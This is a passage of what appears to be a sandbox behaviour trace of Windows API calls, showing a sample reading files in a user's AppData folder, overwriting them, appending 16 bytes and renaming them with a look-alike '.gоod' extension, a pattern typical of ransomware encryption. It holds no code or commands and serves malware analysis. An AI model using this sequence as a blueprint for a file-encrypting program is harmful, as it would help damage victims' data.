lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\QKnDF.bmp", lpFilePart=0x0) returned 0x29 [0219.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0219.520] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\QKnDF.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\qkndf.bmp"), fInfoLevelId=0x0, lpFileInformation=0x36cae80 | out: lpFileInformation=0x36cae80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf761f0, ftCreationTime.dwHighDateTime=0x1d4ce7e, ftLastAccessTime.dwLowDateTime=0xaf601670, ftLastAccessTime.dwHighDateTime=0x1d4d5f9, ftLastWriteTime.dwLowDateTime=0xaf601670, ftLastWriteTime.dwHighDateTime=0x1d4d5f9, nFileSizeHigh=0x0, nFileSizeLow=0x164ad)) returned 1 [0219.521] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0219.521] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\QKnDF.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\QKnDF.bmp", lpFilePart=0x0) returned 0x29 [0219.521] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0219.521] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\QKnDF.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\qkndf.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0219.521] GetFileType (hFile=0x858) returned 0x1 [0219.521] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0219.521] GetFileType (hFile=0x858) returned 0x1 [0219.521] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0219.521] ReadFile (in: hFile=0x858, lpBuffer=0x36cb218, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x36cb218*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0219.522] CloseHandle (hObject=0x858) returned 1 [0219.522] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\QKnDF.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\QKnDF.bmp", lpFilePart=0x0) returned 0x29 [0219.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0219.522] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\QKnDF.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\qkndf.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0219.522] GetFileType (hFile=0x858) returned 0x1 [0219.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0219.522] GetFileType (hFile=0x858) returned 0x1 [0219.522] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x164ad [0219.522] WriteFile (in: hFile=0x858, lpBuffer=0x36cc470*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x36cc470*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0219.523] CloseHandle (hObject=0x858) returned 1 [0219.523] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\QKnDF.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\QKnDF.bmp", lpFilePart=0x0) returned 0x29 [0219.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0219.523] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\QKnDF.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\qkndf.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0219.523] GetFileType (hFile=0x858) returned 0x1 [0219.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0219.523] GetFileType (hFile=0x858) returned 0x1 [0219.523] ReadFile (in: hFile=0x858, lpBuffer=0x36d0230, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x36d0230*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0220.128] CloseHandle (hObject=0x858) returned 1 [0220.128] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\QKnDF.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\QKnDF.bmp", lpFilePart=0x0) returned 0x29 [0220.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0220.128] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\QKnDF.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\qkndf.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0220.128] GetFileType (hFile=0x858) returned 0x1 [0220.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0220.128] GetFileType (hFile=0x858) returned 0x1 [0220.128] WriteFile (in: hFile=0x858, lpBuffer=0x3623ab0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x3623ab0*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0220.129] CloseHandle (hObject=0x858) returned 1 [0220.129] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\QKnDF.bmp", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\QKnDF.bmp", lpFilePart=0x0) returned 0x29 [0220.129] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\QKnDF.bmp.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\QKnDF.bmp.gоod", lpFilePart=0x0) returned 0x2e [0220.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0220.129] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\QKnDF.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\qkndf.bmp"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf761f0, ftCreationTime.dwHighDateTime=0x1d4ce7e, ftLastAccessTime.dwLowDateTime=0xaf601670, ftLastAccessTime.dwHighDateTime=0x1d4d5f9, ftLastWriteTime.dwLowDateTime=0x7f6b40ca, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x164bd)) returned 1 [0220.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0220.129] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\QKnDF.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\qkndf.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\QKnDF.bmp.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\qkndf.bmp.gоod")) returned 1 [0220.131] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\R-l-JpT1rx5yIELP8.swf", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\R-l-JpT1rx5yIELP8.swf", lpFilePart=0x0) returned 0x35 [0220.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0220.131] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\R-l-JpT1rx5yIELP8.swf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\r-l-jpt1rx5yielp8.swf"), fInfoLevelId=0x0, lpFileInformation=0x3786458 | out: lpFileInformation=0x3786458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1de1100, ftCreationTime.dwHighDateTime=0x1d4c8e8, ftLastAccessTime.dwLowDateTime=0xeccfdf10, ftLastAccessTime.dwHighDateTime=0x1d4c6c5, ftLastWriteTime.dwLowDateTime=0xeccfdf10, ftLastWriteTime.dwHighDateTime=0x1d4c6c5, nFileSizeHigh=0x0, nFileSizeLow=0x48f3)) returned 1 [0220.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0220.131] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\R-l-JpT1rx5yIELP8.swf", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\R-l-JpT1rx5yIELP8.swf", lpFilePart=0x0) returned 0x35 [0220.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0220.131] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\R-l-JpT1rx5yIELP8.swf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\r-l-jpt1rx5yielp8.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0220.131] GetFileType (hFile=0x858) returned 0x1 [0220.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0220.131] GetFileType (hFile=0x858) returned 0x1 [0220.131] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0220.131] ReadFile (in: hFile=0x858, lpBuffer=0x3786850, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x3786850*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0220.132] CloseHandle (hObject=0x858) returned 1 [0220.132] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\R-l-JpT1rx5yIELP8.swf", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\R-l-JpT1rx5yIELP8.swf", lpFilePart=0x0) returned 0x35 [0220.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0220.132] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\R-l-JpT1rx5yIELP8.swf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\r-l-jpt1rx5yielp8.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0220.132] GetFileType (hFile=0x858) returned 0x1 [0220.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0220.132] GetFileType (hFile=0x858) returned 0x1 [0220.132] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x48f3 [0220.133] WriteFile (in: hFile=0x858, lpBuffer=0x3787ad8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x3787ad8*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0220.133] CloseHandle (hObject=0x858) returned 1 [0220.133] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\R-l-JpT1rx5yIELP8.swf", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\R-l-JpT1rx5yIELP8.swf", lpFilePart=0x0) returned 0x35 [0220.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0220.133] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\R-l-JpT1rx5yIELP8.swf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\r-l-jpt1rx5yielp8.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0220.133] GetFileType (hFile=0x858) returned 0x1 [0220.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0220.133] GetFileType (hFile=0x858) returned 0x1 [0220.133] ReadFile (in: hFile=0x858, lpBuffer=0x3789d88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x3789d88*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0220.607] CloseHandle (hObject=0x858) returned 1 [0220.607] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\R-l-JpT1rx5yIELP8.swf", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\R-l-JpT1rx5yIELP8.swf", lpFilePart=0x0) returned 0x35 [0220.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0220.607] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\R-l-JpT1rx5yIELP8.swf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\r-l-jpt1rx5yielp8.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0220.607] GetFileType (hFile=0x858) returned 0x1 [0220.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0220.607] GetFileType (hFile=0x858) returned 0x1 [0220.607] WriteFile (in: hFile=0x858, lpBuffer=0x363d240*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x363d240*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0220.611] CloseHandle (hObject=0x858) returned 1 [0220.611] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\R-l-JpT1rx5yIELP8.swf", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\R-l-JpT1rx5yIELP8.swf", lpFilePart=0x0) returned 0x35 [0220.611] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\R-l-JpT1rx5yIELP8.swf.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\R-l-JpT1rx5yIELP8.swf.gоod", lpFilePart=0x0) returned 0x3a [0220.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0220.611] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\R-l-JpT1rx5yIELP8.swf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\r-l-jpt1rx5yielp8.swf"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1de1100, ftCreationTime.dwHighDateTime=0x1d4c8e8, ftLastAccessTime.dwLowDateTime=0xeccfdf10, ftLastAccessTime.dwHighDateTime=0x1d4c6c5, ftLastWriteTime.dwLowDateTime=0x7fb52c3d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4903)) returned 1 [0220.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0220.611] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\R-l-JpT1rx5yIELP8.swf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\r-l-jpt1rx5yielp8.swf"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\R-l-JpT1rx5yIELP8.swf.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\r-l-jpt1rx5yielp8.swf.gоod")) returned 1 [0220.612] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\SLqWzXX.bmp", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\SLqWzXX.bmp", lpFilePart=0x0) returned 0x2b [0220.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0220.612] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\SLqWzXX.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\slqwzxx.bmp"), fInfoLevelId=0x0, lpFileInformation=0x36f2228 | out: lpFileInformation=0x36f2228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f8c530, ftCreationTime.dwHighDateTime=0x1d4d064, ftLastAccessTime.dwLowDateTime=0xb49b4400, ftLastAccessTime.dwHighDateTime=0x1d4d47a, ftLastWriteTime.dwLowDateTime=0xb49b4400, ftLastWriteTime.dwHighDateTime=0x1d4d47a, nFileSizeHigh=0x0, nFileSizeLow=0x56aa)) returned 1 [0220.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0220.612] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\SLqWzXX.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\SLqWzXX.bmp", lpFilePart=0x0) returned 0x2b [0220.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0220.612] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\SLqWzXX.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\slqwzxx.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0220.613] GetFileType (hFile=0x858) returned 0x1 [0220.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0220.613] GetFileType (hFile=0x858) returned 0x1 [0220.613] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0220.613] ReadFile (in: hFile=0x858, lpBuffer=0x36f25c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x36f25c0*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0220.613] CloseHandle (hObject=0x858) returned 1 [0220.614] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\SLqWzXX.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\SLqWzXX.bmp", lpFilePart=0x0) returned 0x2b [0220.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0220.614] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\SLqWzXX.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\slqwzxx.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0220.614] GetFileType (hFile=0x858) returned 0x1 [0220.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0220.614] GetFileType (hFile=0x858) returned 0x1 [0220.614] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x56aa [0220.614] WriteFile (in: hFile=0x858, lpBuffer=0x36f3818*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x36f3818*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0220.614] CloseHandle (hObject=0x858) returned 1 [0220.614] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\SLqWzXX.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\SLqWzXX.bmp", lpFilePart=0x0) returned 0x2b [0220.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0220.614] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\SLqWzXX.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\slqwzxx.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0220.614] GetFileType (hFile=0x858) returned 0x1 [0220.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0220.614] GetFileType (hFile=0x858) returned 0x1 [0220.614] ReadFile (in: hFile=0x858, lpBuffer=0x36f5a98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x36f5a98*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0220.694] CloseHandle (hObject=0x858) returned 1 [0220.694] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\SLqWzXX.bmp", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\SLqWzXX.bmp", lpFilePart=0x0) returned 0x2b [0220.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0220.694] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\SLqWzXX.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\slqwzxx.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0220.694] GetFileType (hFile=0x858) returned 0x1 [0220.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0220.695] GetFileType (hFile=0x858) returned 0x1 [0220.695] WriteFile (in: hFile=0x858, lpBuffer=0x36f4830*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x36f4830*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0220.695] CloseHandle (hObject=0x858) returned 1 [0220.695] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\SLqWzXX.bmp", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\SLqWzXX.bmp", lpFilePart=0x0) returned 0x2b [0220.695] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\SLqWzXX.bmp.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\SLqWzXX.bmp.gоod", lpFilePart=0x0) returned 0x30 [0220.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0220.695] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\SLqWzXX.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\slqwzxx.bmp"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f8c530, ftCreationTime.dwHighDateTime=0x1d4d064, ftLastAccessTime.dwLowDateTime=0xb49b4400, ftLastAccessTime.dwHighDateTime=0x1d4d47a, ftLastWriteTime.dwLowDateTime=0x7fc1188f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x56ba)) returned 1 [0220.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0220.695] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\SLqWzXX.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\slqwzxx.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\SLqWzXX.bmp.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\slqwzxx.bmp.gоod")) returned 1 [0220.696] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wk5AY3-oXk0Sddx-g.jpg", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\wk5AY3-oXk0Sddx-g.jpg", lpFilePart=0x0) returned 0x35 [0220.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0220.696] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wk5AY3-oXk0Sddx-g.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\wk5ay3-oxk0sddx-g.jpg"), fInfoLevelId=0x0, lpFileInformation=0x37ef658 | out: lpFileInformation=0x37ef658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0672700, ftCreationTime.dwHighDateTime=0x1d4ce4f, ftLastAccessTime.dwLowDateTime=0xc2b50820, ftLastAccessTime.dwHighDateTime=0x1d4d01d, ftLastWriteTime.dwLowDateTime=0xc2b50820, ftLastWriteTime.dwHighDateTime=0x1d4d01d, nFileSizeHigh=0x0, nFileSizeLow=0x17f71)) returned 1 [0220.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0220.696] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wk5AY3-oXk0Sddx-g.jpg", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\wk5AY3-oXk0Sddx-g.jpg", lpFilePart=0x0) returned 0x35 [0220.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0220.696] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\wk5AY3-oXk0Sddx-g.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\wk5ay3-oxk0sddx-g.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0220.696] 